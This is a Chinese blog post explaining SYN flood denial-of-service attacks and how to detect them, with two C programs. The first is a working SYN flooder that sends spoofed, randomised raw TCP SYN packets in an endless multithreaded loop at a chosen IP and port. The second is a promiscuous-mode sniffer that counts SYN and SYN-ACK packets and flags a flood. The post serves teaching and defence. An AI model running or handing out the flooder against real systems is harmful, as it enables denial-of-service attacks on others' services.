SYN洪水攻击与防范[原]

版权声明:本文为博主原创文章,未经博主允许不得转载。

引言

SYN Flood攻击也称为拒绝服务攻击,它利用了TCP的3次握手,利用大量的TCP连接请求造成目标机的资源耗尽而不能提供正常的服务或者服务质量下降。从防御角度来说,目前主要的方法是系统通过设置SYN Cookies和缩短SYN Timeout时间实现。

SYN Flood攻击原理

TCP协议提供可靠的连接服务,采用三次握手建立一个连接。如果从IP层协议来看,客户端先发送SYN请求,服务器对客户端的SYN进行响应,而客户端对服务器的响应再次进行确认后才建立了一个TCP的连接。在服务器发送响应后,要等待一段时间才能获得客户端的确认,即第二次和第三次握手之间有一个超时时间,SYN攻击就利用了这个时机。
从防御角度来说,目前主要的方法是系统通过设置SYN Cookies和缩短SYN Timeout时间实现,都为被动调整方式。缩短SYN Timeout时间仅在对方攻击频度不高的情况下生效,SYN Cookie更依赖于对方使用真实的IP地址,如果攻击者以数万/秒的速度发送SYN报文,同时利用SOCK_RAW随机改写IP报文中的源地址,以上的方法将毫无用武之地。

SYN Flood攻击特征

IP源地址可能为伪装欺骗,SYN报文量大。

Flood攻击嗅探

通过对系统(或主机)嗅探抓包,抓取SYN报文。嗅探通过SOCK_ROW的socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL))方式,设置网卡模式为混杂模式,可以抓取发往本机和从本机发出的所有数据帧副本。再通过数据帧头、IP头、TCP头等对报文进行解析。可以识别出属于TCP的SYN和ACK_SYN报文。

SYN Flood攻击检测

通过检测策略匹配来认定是否SYN Flood攻击。 命令检测方法:一般来说,如果一个系统(或主机)负荷突然升高甚至失去响应,使用Netstat 命令能看到大量SYN_RECV的半连接(数量>500或占总连接数的10%以上),可以认定,这个系统(或主机)遭到了SYN Flood攻击。 制定检测策略:如单位时间内(1分钟内等)SYN报文数量 > ACK_SYN报文数量 * 10,并且ACK_SYN报文数量 > 500。策略可根据需要配置调整。

SYN Flood攻击分析

同时根据分析策略,记录并分析SYN报文的相关信息:源地址、IP首部中的标识、TCP首部中的序列号、TTL值等,这些信息虽然很可能是攻击者伪造的,但是用来分析攻击者的心理状态和攻击程序也不无帮助。特别是TTL值,如果大量的攻击包似乎来自不同的IP但是TTL值却相同,我们往往能推断出攻击者与我们之间的路由器距离,至少也可以通过过滤特定TTL值的报文降低被攻击系统的负荷。
分析策略因子:1)IP特征;2)TTL值等。

测试代码

#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h> 
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <string.h>

/* 最多线程数 */
#define MAXCHILD 2
/* 目的IP地址 */
static in_addr_t dest = 0;
static in_addr_t sour = 0;
static unsigned short dest_port = 0;
/* ICMP协议的值 */
static int PROTO_TCP = -1;
/* 程序活动标志 */
static alive = -1;

static int rawsock = -1;

typedef unsigned short u16;

/* 随机函数产生函数
*  由于系统的函数为伪随机函数
*	其与初始化有关,因此每次用不同值进行初始化
*/
static inline long 
	myrandom (int begin, int end)
{
	int gap = end - begin +1;
	int ret = 0;

	/* 用系统时间初始化 */
	srand((unsigned)time(0));
	/* 产生一个介于begin和end之间的值 */
	ret = random()%gap + begin;
	return ret;
}

struct pseudo_header    //needed for checksum calculation
{
    unsigned int source_address;//源地址
    unsigned int dest_address;//目的地址
    unsigned char placeholder;
    unsigned char protocol;//协议号
    unsigned short tcp_length;//tcp包长度

    struct tcphdr tcp;//tcp首部
};//一起计算校验和

/* CRC16校验 */
static unsigned short
	DoS_cksum (unsigned short *data, int length)     
{  
	register int left = length;  
	register unsigned short *word = data;  
	register int sum = 0;  
	unsigned short ret = 0;  

	/* 计算偶数字节 */
	while (left > 1)    
	{      
		sum += *word++;      
		left -= 2;    
	}  

	/* 如果为奇数,将最后一个字节单独计算
	*	剩余的一个字节为高字节构建一个short类型变量值
	*/
	if (left == 1)    
	{      
		*(unsigned char *) (&ret) = *(unsigned char *) word;      
		sum += ret;    
	}  

	/* 折叠 */
	sum = (sum >> 16) + (sum & 0xffff);  
	sum += (sum >> 16);  

	/* 取反 */
	ret = ~sum;  
	return (ret);
}


static void
	DoS_syn (void)
{ 
	
	/* 发送目的地址 */
	struct sockaddr_in to;  
	
	/* DOS结构,分为IP头部、UDP头部、UDP数据部分 */
	struct   dosseg_t 
	{      
		struct ip iph;      
		struct tcphdr tcph;      
		unsigned char data[8192];    
	}  dosseg;  

	memset(&dosseg, 0, sizeof(dosseg));
	/* IP的版本,IPv4 */
	dosseg.iph.ip_v = 4;  
	/* IP头部长度,字节数 */
	dosseg.iph.ip_hl = 5;  
	/* 服务类型 */
	dosseg.iph.ip_tos = 0;  
	/* IP报文的总长度 */
	dosseg.iph.ip_len = htons (sizeof(struct ip)+sizeof(struct tcphdr));  
	/* 标识,设置为PID */
	dosseg.iph.ip_id = htons (getpid ());  
	/* 段的便宜地址 */
	dosseg.iph.ip_off = 0; 
	/* TTL */
	dosseg.iph.ip_ttl = myrandom (128, 255);  ;  
	/* 协议类型 */
	dosseg.iph.ip_p = IPPROTO_TCP;  
	/* 校验和,先填写为0 */
	dosseg.iph.ip_sum = 0;  
	/* 发送的源地址 */
	struct in_addr ip;
	ip.s_addr = myrandom(0, 65535);;
	//ip.s_addr = sour;
	dosseg.iph.ip_src = ip;
	/* 发送目标地址 */
	ip.s_addr = dest;    
	dosseg.iph.ip_dst = ip;
	
 	dosseg.tcph.source=htons(myrandom(0,65535));
	dosseg.tcph.dest=htons(dest_port);
	dosseg.tcph.seq = htonl ((unsigned long) myrandom(0, 65535)); 
	dosseg.tcph.ack_seq = htonl((unsigned long)myrandom(0, 65535));  
	dosseg.tcph.syn = 1;
	dosseg.tcph.doff=5;
	dosseg.tcph.window = htons (myrandom(0, 65535));  
	dosseg.tcph.check = 0; 
	
	/* 填写发送目的地址部分 */
	to.sin_family =  AF_INET;  
	to.sin_addr.s_addr = dest;
	to.sin_port = htons(dest_port);
	
	struct  pseudo_header psh;
	psh.source_address = dosseg.iph.ip_src.s_addr;
	psh.dest_address =dosseg.iph.ip_dst.s_addr;
	psh.placeholder = 0;
	psh.protocol = IPPROTO_TCP;//TCP协议号
	psh.tcp_length = htons(sizeof(struct tcphdr));//TCP首部长度
	memcpy(&psh.tcp , &dosseg.tcph , sizeof (struct tcphdr));
	dosseg.tcph.check = DoS_cksum( (unsigned short*) &psh , sizeof (struct pseudo_header));
	dosseg.iph.ip_sum = DoS_cksum ((u16 *) &dosseg.iph, sizeof(dosseg.iph)+sizeof(dosseg.tcph));
	
	/* 发送数据 */
	int ret = sendto (rawsock, 
			&dosseg, 
			4 * dosseg.iph.ip_hl + sizeof (struct tcphdr) , 
			0, 
			(struct sockaddr *) &to, 
			sizeof (struct sockaddr));  	
	if(ret == -1){
		printf("sendto failed:errno=%d, errmsg=%s\n", errno, strerror(errno));
		return;
	}else{
		printf("send syn ok\n");
	}
}

static void
DoS_fun (unsigned long ip)
{  
	while(alive)
	{
		DoS_syn();
	}

}

/* 信号处理函数,设置退出变量alive */
static void 
DoS_sig(int signo)
{
	alive = 0;
}



int main(int argc, char *argv[])
{
	struct hostent * host = NULL;
	struct protoent *protocol = NULL;
	char protoname[]= "icmp";

	int i = 0;
	pthread_t pthread[MAXCHILD];
	int err = -1;
	
	alive = 1;
	/* 截取信号CTRL+C */
	signal(SIGINT, DoS_sig);



	/* 参数是否数量正确 */
	if(argc < 3)
	{
		printf("usage:dos_syn ip port\n");
		return -1;
	}

	/* 获取协议类型ICMP */
	protocol = getprotobyname(protoname);
	if (protocol == NULL)
	{
		perror("getprotobyname()");
		return -1;
	}
	PROTO_TCP = protocol->p_proto;

	/* 输入的目的地址为字符串IP地址 */
	dest = inet_addr(argv[1]);
	sour = inet_addr("172.19.50.199");
	if(dest == INADDR_NONE)
	{
		/* 为DNS地址 */
		host = gethostbyname(argv[1]);
		if(host == NULL)
		{
			perror("gethostbyname");
			return -1;
		}

		/* 将地址拷贝到dest中 */
		memcpy((char *)&dest, host->h_addr,host->h_length);
	}
	/* 目的端口 */
	dest_port = atoi(argv[2]);

	/* 建立原始socket */
	rawsock = socket (AF_INET, SOCK_RAW, protocol->p_proto);	
	if (rawsock < 0)	   
		rawsock = socket (AF_INET, SOCK_RAW, PROTO_TCP);	

	/* 设置IP选项 */
	setsockopt (rawsock, SOL_IP, IP_HDRINCL, "1", sizeof ("1"));

	/* 建立多个线程协同工作 */
	for(i=0; i<MAXCHILD; i++)
	{
		err = pthread_create(&pthread[i], NULL, DoS_fun, NULL);
	}

	/* 等待线程结束 */
	for(i=0; i<MAXCHILD; i++)
	{
		pthread_join(pthread[i], NULL);
	}

	close(rawsock);
	
	return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>
#include <signal.h>

#include <netinet/ip_icmp.h>
#include <net/if_arp.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <signal.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/if_ether.h>
#include <net/ethernet.h>
#include <linux/igmp.h>
#include <netinet/tcp.h>

/* 全局变量结构的结构体原型 - 包含要记录的任何全局信息 */
struct global_info {
    unsigned int bytes;          /* 网卡接收的总字节数   */
    unsigned int packet_num;     /* 网卡接受的帧的总数量 */
    
    unsigned int packet_arp;     /* 接收到的arp包的数量 */
    unsigned int packet_rarp;    /* 接收到的rarp包的数量 */

    unsigned int packet_ip;      /* 接收到的ip包的数量     */
    unsigned int packet_icmp;    /* 接收到的icmp包的数量 */
    unsigned int packet_igmp;    /* 接收到的igmp包的数量 */

    unsigned int packet_tcp;     /* 接收到的tcp包的数量 */
    unsigned int packet_udp;     /* 接收到的udp包的数量 */

    unsigned int packet_urg;
    unsigned int packet_ack;
    unsigned int packet_psh;
    unsigned int packet_rst;
    unsigned int packet_syn;
    unsigned int packet_fin;
    unsigned int packet_ack_syn;
    
    int print_flag_frame;        /* 是否打印帧头信息标志, 1表示打印, 0表示不打印 */
    int print_flag_arp;          /* 是否打印arp头信息标志 */
    int print_flag_ip;           /* 是否打印ip头信息标志 */
    int print_flag_rarp;         /* 是否打印rarp头信息标志 */
    int print_flag_tcp;          /* 是否打印tcp头信息标志 */
    int print_flag_udp;          /* 是否打印udp头信息标志 */
    int print_flag_icmp;         /* 是否打印icmp头信息标志 */
    int print_flag_igmp;         /* 是否打印igmp头信息标志 */
};

/* 定义一个全局变量,用于存储全局信息 */
struct global_info global;

struct ip_pair {
    unsigned int source_ip;
    unsigned int dest_ip;
    unsigned int count;
};

/* 定义一个用于存储ip对的结构体数组 */
struct ip_pair ip_pair[10000];

/* 一个用于打印全局信息的函数 */
void print_global( struct global_info var )
{
    printf("\n********** PACKETS STATISTICS START *****************\n");
    printf("RECV BYTES: %d kbytes.\n", var.bytes / 1024 );
    printf("RECV PACKET NUM: %d\n\n", var.packet_num );
    
    if( var.packet_arp ) printf("ARP: %d\n", var.packet_arp );
    if( var.packet_rarp) printf("RARP: %d\n", var.packet_rarp );
    if( var.packet_ip ) printf("IP: %d\n", var.packet_ip );
    if( var.packet_icmp) printf("ICMP: %d\n", var.packet_icmp );
    if( var.packet_igmp) printf("IGMP: %d\n", var.packet_igmp );
    if( var.packet_tcp ) printf("TCP: %d\n", var.packet_tcp );
    if( var.packet_urg ) printf("URG: %d\n", var.packet_urg );
    if( var.packet_ack ) printf("ACK: %d\n", var.packet_ack );
    if( var.packet_psh ) printf("PSH: %d\n", var.packet_psh );
    if( var.packet_rst ) printf("RST: %d\n", var.packet_rst );
    if( var.packet_syn ) printf("SYN: %d\n", var.packet_syn );
    if( var.packet_ack_syn ) printf("ACK+SYN: %d\n", var.packet_ack_syn );    
    if( var.packet_fin ) printf("FIN: %d\n", var.packet_fin );
    if( var.packet_udp ) printf("UDP: %d\n", var.packet_udp );
    printf("********** PACKETS STATISTICS END *******************\n\n");
}

/* 用于处理当下按ctrl-c时的处理函数 */
void sig_int( int sig )
{
    print_global( global );
    exit( 0 );
}

/* 把mac地址转换成字符串 */
void mac_to_str( char * buf, char * mac_buf )
{
    sprintf( mac_buf, "%02x:%02x:%02x:%02x:%02x:%02x",(unsigned char) *buf, (unsigned char)(*(buf+1)),
                    (unsigned char)(*(buf+2)), (unsigned char)(*(buf+3)),
                    (unsigned char)(*(buf+4)), (unsigned char)(*(buf+5)));
    mac_buf[17] = 0;
}

/* 设置网卡模式成混帐模式,这样的话可以截获以太网帧数据 */
int set_card_promisc( char * interface_name, int sock )
{
    /* 用于套接口ioctl的接口请求结构体   */
    struct ifreq ifr;

    /* 复制网卡名称进入请求结构体的名称元素 */
    strncpy(ifr.ifr_name, interface_name ,strlen( interface_name )+1);

    /* 通过ioctl获得相应信息            */
    if((ioctl(sock, SIOCGIFFLAGS, &ifr) == -1))
        exit( 0 );

    /* 设置网卡模式标志为混杂模式           */
    ifr.ifr_flags |= IFF_PROMISC;

    /* 通过ioctl把参数传递给网卡         */
    if(ioctl(sock, SIOCSIFFLAGS, &ifr) == -1 )
        exit( 0 );
}

void print_icmp( struct icmphdr * picmp )
{
    printf("ICMP-|");
    
    printf("TYPE:%d ", picmp->type );
    switch( picmp->type ){
        case ICMP_ECHOREPLY:
            printf("ICMP_ECHOREPLY ");
            break;
        case ICMP_DEST_UNREACH:
                printf("ICMP_DEST_UNREACH ");
            break;
        case ICMP_SOURCE_QUENCH:
            printf("ICMP_SOURCE_QUENCH ");
            break;
        case ICMP_REDIRECT:
            printf("ICMP_REDIRECT ");
            break;
        case ICMP_ECHO:
            printf("ICMP_ECHO ");
            break;
        case ICMP_TIME_EXCEEDED:
            printf("ICMP_TIME_EXCEEDED ");
            break;
        case ICMP_PARAMETERPROB:
            printf("ICMP_PARAMETERPROB ");
            break;
        case ICMP_TIMESTAMP:
            printf("ICMP_TIMESTAMP ");
            break;
        case ICMP_TIMESTAMPREPLY:
            printf("ICMP_TIMESTAMPREPLY ");
            break;
        case ICMP_INFO_REQUEST:
            printf("ICMP_INFO_REQUEST ");
            break;
        case ICMP_INFO_REPLY:
            printf("ICMP_INFO_REPLY ");
            break;
        case ICMP_ADDRESS:
            printf("ICMP_ADDRESS ");
            break;
        case ICMP_ADDRESSREPLY:
            printf("ICMP_ADDRESSREPLY ");
            break;
        default:
            printf("UNKNOW_TYPE ");
            break;
    }

    printf("SUBTYPE:%d ", picmp->code );
    switch( picmp->type ){
        case ICMP_ECHOREPLY:
            printf("ICMP_ECHOREPLY ");
            break;
        case ICMP_DEST_UNREACH:
            switch( picmp->type ){
                case ICMP_NET_UNREACH:
                    printf("ICMP_NET_UNREACH ");
                    break;
                case ICMP_HOST_UNREACH:
                    printf("ICMP_HOST_UNREACH ");
                    break;
                case ICMP_PROT_UNREACH:
                    printf("ICMP_PROT_UNREACH ");
                    break;
                case ICMP_PORT_UNREACH:
                    printf("ICMP_PORT_UNREACH ");
                    break;
                case ICMP_FRAG_NEEDED:
                    printf("ICMP_FRAG_NEEDED ");
                    break;
                case ICMP_SR_FAILED:
                    printf("ICMP_SR_FAILED ");
                    break;
                case ICMP_NET_UNKNOWN:
                    printf("ICMP_NET_UNKNOWN ");
                    break;
                case ICMP_HOST_UNKNOWN:
                    printf("ICMP_HOST_UNKNOWN ");
                    break;
                case ICMP_HOST_ISOLATED:
                    printf("ICMP_HOST_ISOLATED ");
                    break;
                case ICMP_NET_ANO:
                    printf("ICMP_NET_ANO ");
                    break;
                case ICMP_HOST_ANO:
                    printf("ICMP_HOST_ANO ");
                    break;
                case ICMP_NET_UNR_TOS:
                    printf("ICMP_NET_UNR_TOS ");
                    break;
                case ICMP_HOST_UNR_TOS:
                    printf("ICMP_HOST_UNR_TOS ");
                    break;
                case ICMP_PKT_FILTERED:
                    printf("ICMP_PKT_FILTERED ");
                    break;
                case ICMP_PREC_VIOLATION:
                    printf("ICMP_PREC_VIOLATION ");
                    break;
                case ICMP_PREC_CUTOFF:
                    printf("ICMP_PREC_CUTOFF ");
                    break;
                default:
                    printf("UNKNOW_TYPE\n");
                    break;

            }
            break;
        case ICMP_SOURCE_QUENCH:
            printf("ICMP_SOURCE_QUENCH ");
            break;
        case ICMP_REDIRECT:
            switch( picmp->type ){
                case ICMP_REDIR_NET:
                    printf("ICMP_REDIR_NET ");
                    break;
                case ICMP_REDIR_HOST:
                    printf("ICMP_REDIR_HOST ");
                    break;
                case ICMP_REDIR_NETTOS:
                    printf("ICMP_REDIR_NETTOS ");
                    break;
                case ICMP_REDIR_HOSTTOS:
                    printf("ICMP_REDIR_HOSTTOS ");
                    break;
                defalut:
                    printf("UNKNOW_TYPE ");
                    break;
            }
            break;
        case ICMP_ECHO:
            printf("ICMP_ECHO ");
            break;
        case ICMP_TIME_EXCEEDED:
            switch( picmp->type ){
                case ICMP_EXC_TTL:
                    printf("ICMP_EXC_TTL ");
                    break;
                case ICMP_EXC_FRAGTIME:
                    printf("ICMP_EXC_FRAGTIME ");
                    break;
                default:
                    printf("UNKNOW_TYPE ");
                    break;
            }
            break;
        case ICMP_PARAMETERPROB:
            switch( picmp->type ){
                case 0:
                    printf("IP HEAD ERROR ");
                    break;
                case 1:
                    printf("LESS MUST OPTION ");
                    break;
                default:
                    printf("UNKNOW_TYPE ");
                    break;
            }
            break;
        case ICMP_TIMESTAMP:
            printf("ICMP_TIMESTAMP ");
            break;
        case ICMP_TIMESTAMPREPLY:
            printf("ICMP_TIMESTAMPREPLY ");
            break;
        case ICMP_INFO_REQUEST:
            printf("ICMP_INFO_REQUEST ");
            break;
        case ICMP_INFO_REPLY:
            printf("ICMP_INFO_REPLY ");
            break;
        case ICMP_ADDRESS:
            printf("ICMP_ADDRESS ");
            break;
        case ICMP_ADDRESSREPLY:
            printf("ICMP_ADDRESSREPLY ");
            break;
        default:
            printf("UNKNOW_TYPE ");
            break;
    }

    printf("CRC: %d|", ntohs(picmp->checksum) );
}

void do_icmp( char * data )
{
    global.packet_icmp ++;

    struct icmphdr * picmp = ( struct icmphdr * ) data;
    
    if( global.print_flag_icmp )
        print_icmp( picmp );
}

void print_tcp( struct tcphdr * ptcp )
{
    printf("TCP-|OP:%d DP:%d ", ptcp->source, ptcp->dest);
    if ( ptcp->urg == 1 ) {
        printf("URG ");
        global.packet_urg ++;
    } else if ( ptcp->ack == 1 && ptcp->syn == 1) {
        printf("ACK_SYN ");
        global.packet_ack_syn ++;
    }else if ( ptcp->ack == 1 ) {
        printf("ACK ");
        global.packet_ack ++;
    } else if ( ptcp->psh == 1 ) {
        printf("PSH ");
        global.packet_psh ++;
    } else if ( ptcp->rst == 1 ) {
        printf("RST ");
        global.packet_rst ++;
    } else if ( ptcp->syn == 1 ) {
        printf("SYN ");
        global.packet_syn ++;
    } else if ( ptcp->fin == 1 ) {
        printf("FIN ");
        global.packet_fin ++;
    } else {
        printf(" DATA ");
    }

    printf("|");
}

void do_tcp( char * data )
{
    global.packet_tcp ++;

    struct tcphdr * ptcp;
    ptcp = ( struct tcphdr * )data;

    if( global.print_flag_tcp )
        print_tcp( ptcp );
}

void print_ip( struct iphdr * iph )
{
    printf("IP-|OIP:%s DIP:%s TTL:%d PROTOCOL:%d |", 
           inet_ntoa( *(struct in_addr *)(&iph->saddr)),
           inet_ntoa( *(struct in_addr *)(&iph->daddr)),
           iph->ttl, iph->protocol);
}

void ip_count( struct iphdr * iph )
{
    ip_pair[ global.packet_ip - 1 ].source_ip = iph->saddr;
    ip_pair[ global.packet_ip - 1 ].dest_ip = iph->daddr;
}

void do_ip( char * data )
{
    global.packet_ip ++;

    struct iphdr *pip;        
    pip = ( struct iphdr * ) data; /* pip = point to ip layer */
    if( global.print_flag_ip )
        print_ip( pip );
    
    //ip_count( pip );
    
    char * pdata = data + pip->ihl * 4;
    
    switch( pip->protocol ){
        case IPPROTO_ICMP:
            do_icmp( pdata );
            break;
        case IPPROTO_IGMP:
            //do_igmp( pdata );
            printf("IGMP-|");
            break;
        case IPPROTO_UDP:
            //do_udp( pdata );
            printf("UPD-|");
            break;
        case IPPROTO_TCP:
            do_tcp( pdata );
            break;

        default:
            //printf("IP: 未知其上层协议.\n");
            break;
    }
}

void print_frame( struct ether_header * peth )
{
    /* 定义一个数组,用于存储把mac地址转换成字符串后的字符串 */
    char buf[ 18 ];

    printf("FR-%d|", global.packet_num );
    char * shost = peth->ether_shost;
    mac_to_str( shost, buf );    
    printf("O:%s ", buf );
    
    char * dhost = peth->ether_dhost;
    mac_to_str( dhost, buf );
    printf("D:%s|", buf );
}

/* 用于从网卡接受一帧数据,同时根据以太网协议字段传递数据给相应的上层协议处理 */
void sniffer_frame( int sock )
{
    /* 用于存储一帧数据         */
    char frame_buf[ 2000 ];
    
    /* 清空帧数据缓冲区     */
    bzero( frame_buf, sizeof(frame_buf) );

    int len = sizeof( frame_buf );
    
    /* 用于存储接受字节数     */
    int recv_num;

    /* 用于存储发送方的地址信息 */
    struct sockaddr_in addr;

    /* 从网卡接收一帧数据     */
        recv_num = recvfrom( sock, (char *)frame_buf, sizeof( frame_buf ), 0, ( struct sockaddr * )&addr, &len );

    /* 所接收的包的总数自加1 */
    global.packet_num ++;

    /* 从网卡接收的字节总数     */
    global.bytes += recv_num;

    /* 打印接收的包是第几个包 */
    //printf("此帧数据长度: %d\n", recv_num );
    
    /* 定义一个用于指向以太网帧的指针 (这里我们只考虑最常见的以太网帧的情况) */
    struct ether_header * peth;

    /* 让以太网头指针指向从网卡接受到的帧的数据的开头 */
        peth = (struct ether_header *)frame_buf;

    /* 传递以太网帧首地址给打印以太网帧信息的打印函数 */
    if( global.print_flag_frame )
        print_frame( peth );

    /* 定义一个数据指针,用于指向以太网帧的数据部分 */
    char * pdata;

    /* 让 pdata 指向以太网帧的数据部分             */
    pdata = frame_buf + sizeof( struct ether_header );

    /* 根据以太网帧的协议字段进行数据分用 - 也就是进行数据拆封,根据协议字段调用相应层的处理函数 */
    switch( ntohs( peth->ether_type ) ){
        case ETHERTYPE_PUP:
            break;
        case ETHERTYPE_IP:
            do_ip( pdata );
            break;
/*
        case ETHERTYPE_ARP:
            do_arp( pdata );
            break;
        case ETHERTYPE_REVARP:
            do_rarp( pdata );
            break;
*/
        default:
            //printf("Unkonw ethernet type %d %x.\n", ntohs(peth->ether_type), ntohs(peth->ether_type) );
        break;
    }

    printf("\n");
}

syn_defence()
{
    printf("\nSYN Flood Defence Response:\nHas send warning sms to sysadmin.\n");
}

syn_flood_analysis()
{
    printf("\nSYN Flood Analysis:\nwill done next version.\n");
}

syn_flood_detection()
{
    if ( global.packet_syn > global.packet_ack_syn * 10 && global.packet_ack_syn > 500 ) {
            print_global( global );
            printf("\nSYN Flood Detection Warning:\nSYN Number > ACK_SYN Number * 10 && ACK_SYN Number > 500\n");
            syn_flood_analysis();
            syn_defence();
        }
    printf("\n");
}

int main( int argc, char ** argv )
{
    /* 用于存储套接口文件描述符 */
    int sockfd;

    /* 初始化全局变量 */
    //init_global( &global );
    memset(&global, 0x00, sizeof(struct global_info));

    if( argc == 1 ) {             /* 表示打印所有包头信息 */
        global.print_flag_frame = 1;
        global.print_flag_arp = 1;
        global.print_flag_ip = 1;
        global.print_flag_rarp = 1;
        global.print_flag_tcp = 1;
        global.print_flag_udp = 1;
        global.print_flag_icmp = 1;
        global.print_flag_igmp = 1;
    } else {             /* 帮助 或者 通过指定协议名称只打印某层些协议 */
        if( !strcasecmp( argv[1], "-h" ) ){
            //help();
            exit( 0 );
        } else {
            int i;
            for( i=1; i < argc; i++ ){
                if( !strcasecmp( argv[i], "frame" ) )
                    global.print_flag_frame = 1;
                else if( !strcasecmp( argv[i], "arp" ) )
                    global.print_flag_arp = 1;
                else if( !strcasecmp( argv[i], "rarp" ) )
                    global.print_flag_rarp = 1;
                else if( !strcasecmp( argv[i], "ip" ) )
                    global.print_flag_ip = 1;
                else if( !strcasecmp( argv[i], "tcp" ) )
                    global.print_flag_tcp = 1;
                else if( !strcasecmp( argv[i], "udp" ) )
                    global.print_flag_udp = 1;
                else if( !strcasecmp( argv[i], "icmp" ) )
                    global.print_flag_icmp = 1;
                else if( !strcasecmp( argv[i], "igmp" ) )
                    global.print_flag_igmp = 1;
            }
        }
    }
    
    /* 通过协议族AF_PACKET类信SOCK_RAW, 类型SOCK_RAW创建一个用于可以接受网卡帧数据的套接口,同时返回套就口文件描述符 */
    if( (sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)) ) == -1 )
            exit( 0 );

    /* 设定网卡eth0成混杂模式 */
    set_card_promisc( "eth0", sockfd );

    /* 设定信号处理函数, 下面是设置当我们按下ctrl-c时所调用的处理函数 */
    signal( SIGINT, sig_int );

    /* 无限循环接收以太网卡数据帧, 并进行数据分用,直到你按下ctrl-c */
    while( 1 ){
        sniffer_frame( sockfd );
        if ( global.packet_tcp % 400 == 0 ) {
            print_global( global );
        }

        syn_flood_detection();
    }

    return 0;
}